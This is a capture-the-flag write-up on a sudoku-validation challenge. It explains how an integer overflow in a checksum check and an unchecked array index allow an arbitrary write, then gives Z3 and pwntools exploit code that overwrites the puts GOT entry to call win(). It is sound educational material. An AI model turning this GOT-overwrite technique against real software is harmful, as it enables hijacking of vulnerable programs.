I was taking part in the OverTheWire Advent Bonanza 2019. All in all, the CTF was very pleasant because the challenges were interesting to solve, there was quite some time available as well (I spent about two weeks on and off on it) and I also managed to solve a few challenges as well.

The following write-up is about the challenge from day 18: impressive sudoku.

## Description

First we asked you to solve a sudoku, now we want you to make one.

Along with an IP address/port there is also an archive given: https://advent2019.s3.amazonaws.com/4964615443db994db372a3d64524510452521f09809fdb50da22e83d15fb48ca.tar.gz The archive contains the file chal.cc and chal (an executable built from chal.cc).

## Analysis

chal.cc has 89 lines and expects a sudoku as an input (given by a 9x9
matrix read from stdin). The sudoku is checked and if the *score* of the
sudoku is >= 1000000, the flag is printed.

There are two interesting functions: `check()` and `score()`. The
first one checks if the given sudoku is valid according to the "usual"
rules (i. e. every column and row as well as all 3x3 fields have to be a
valid permutation of the numbers from 1 to 9):

```
bool check() {
uint row[9];
for (int i = 0; i < 9; i++) {
for (int j = 0; j < 9; j++) {
row[j] = sudoku[i][j];
}
if (!checkrow(row)) {
return false;
}
}
for (int j = 0; j < 9; j++) {
for (int i = 0; i < 9; i++) {
row[i] = sudoku[i][j];
}
if (!checkrow(row)) {
return false;
}
}
for (int i = 0; i < 3; i++) {
for (int j = 0; j < 3; j++) {
for (int ii = 0; ii < 3; ii++) {
for (int jj = 0; jj < 3; jj++) {
row[ii * 3 + jj] = sudoku[i * 3 + ii][j * 3 + jj];
}
}
if (!checkrow(row)) {
return false;
}
}
}
return true;
}
bool checkrow(uint nums[9]) {
uint sum = 0;
uint prod = 1;
for (int i = 0; i < 9; i++) {
sum += nums[i];
prod *= nums[i];
}
// Lazy way to check nums is a permutation of 1 - 9.
return sum == 45 && prod == 362880;
}
```

Interesting is the `checkrow()` function: To check if the integers are
a valid permutation of 1 to 9, it sums up and multiplies all integers.
However, the function contains a bug: If one of the digits overflows the
range of an unsigned integer, the calculation happens modulo
`sizeof(uint)`. I.e. it's possible to have numbers outside of 1 to 9
in the `nums` array which will be important later on.

Do determine the score of the sudoku the following code is used:

```
uint scorer[9 + 1];
void score() {
(...)
for (int i = 0; i < 8; i++) {
scorer[sudoku[i][i]] = sudoku[i + 1][i + 1];
}
uint score = 1;
for (int i = 1; i <= 9; i++) {
score *= scorer[i];
}
(...)
}
```

The code is interesting due to multiple reasons:

- The first loop goes from 0 to inclusive 7, the second loop goes from
1 to inclusive 9. The second loop multiplies the values in the scorer
array from
`scorer[1]`to`scorer[9]`. However, the first loop is executed only 7 times. This means that two values will always be 0 because they are not overwritten in the`scorer`array and hence the whole score will always be 0. - The value of the sudoku itself is used as an index for the
`scorer`array:`scorer[sudoku[i][i]] = sudoku[i + 1][i + 1]`.

At this point we were stuck and did not really know how to proceed.

## Solution

After the CTF, somebody posted a solution in Mattermost: https://pastebin.com/yMM49Q2W

The idea is to overwrite the address of `puts()` with the address of
`win()`. This is possible because due to the overflow it is possible
to overwrite arbitrary addresses:

```
scorer[sudoku[i][i]] = sudoku[i + 1][i + 1];
```

This is equal to `*(scorer + sudoku[i][i]) = sudoku[i + 1][i + 1]`.
The address of `puts()` is overwritten if
`scorer + 4*sudoku[i][i] == puts`. Therefore we calculate the
difference of the addresses of `puts()` and the `scorer` array and
divide it by the size of an unsigned integer (4):

We don't know the position of `puts()` but because it is a library
function, it uses the PLT (see also
https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html for an
explanation):

08048400 <puts@plt>: 8048400: ff 25 10 a0 04 08 jmp *0x804a010 8048406: 68 08 00 00 00 push $0x8 804840b: e9 d0 ff ff ff jmp 80483e0 <.plt>

Therefore we take the hard coded address `0x804a010` and write to that
location.

ADDR_WIN = 0x08048799 ADDR_PUTS = 0x0804A010 ADDR_SCORER = 0x0804A1C0 OFFSET_PUTS = (ADDR_PUTS - ADDR_SCORER) // 4

Now we use Z3 to model a solution to the sudoku:

```
cells = [BitVec('c_%d' % i, 32) for i in range(9)]
s = Solver()
s.add(sum(cells) == 45)
s.add(Product(cells) == 362880)
s.add(cells[0] == OFFSET_PUTS+2**32)
s.add(cells[1] == ADDR_WIN)
s.add(cells[2] == 1)
s.add(cells[3] == 2)
s.add(cells[4] == 3)
s.check()
m = s.model()
row = [m[c].as_long() for c in cells]
```

**Notes:**

`2**32`is added to the offset because it is negative.- The sum of all cells must be 45, which is checked in the
`checkrow()`function. - The product of all cells must be 362880, which is checked in the
`checkrow()`function as well.

The output is, for example:
`[4294967188, 134514585, 1, 2, 3, 3911297825, 108947494, 113742248, 26465291]`

Now we take an existing sudoku and replace the numbers with the numbers from the model. I. e. 3 in the first column is replaced with 1 because 1 is on the 3rd number in the output list. 6 is replaced with 3911297825 because it is the 6th number in the list, etc. This way the overflow holds for the rows, columns and the 3x3 matrices as well.

The final exploit sudoku is then sent line-wise to the server. The flag is retrieved and printed.

```
r = remote(HOST, PORT)
solution_idx = [
[3, 6, 7, 5, 8, 4, 1, 2, 9],
[2, 4, 1, 7, 3, 9, 5, 6, 8],
[9, 8, 5, 2, 6, 1, 4, 3, 7],
[6, 5, 2, 3, 9, 7, 8, 4, 1],
[7, 1, 3, 8, 4, 2, 6, 9, 5],
[4, 9, 8, 6, 1, 5, 2, 7, 3],
[1, 7, 9, 4, 2, 8, 3, 5, 6],
[8, 2, 6, 9, 5, 3, 7, 1, 4],
[5, 3, 4, 1, 7, 6, 9, 8, 2],
]
for row in range(9):
r.sendline(' '.join(str(values[idx-1]) for idx in solution_idx[row]).encode('ascii'))
response = r.recvall()
r.close()
if b'AOTW{' in response:
print(response)
```

This prints the flag: `AOTW{Th3t_is_such_aN_1mpr3ssive_Sud0ku}`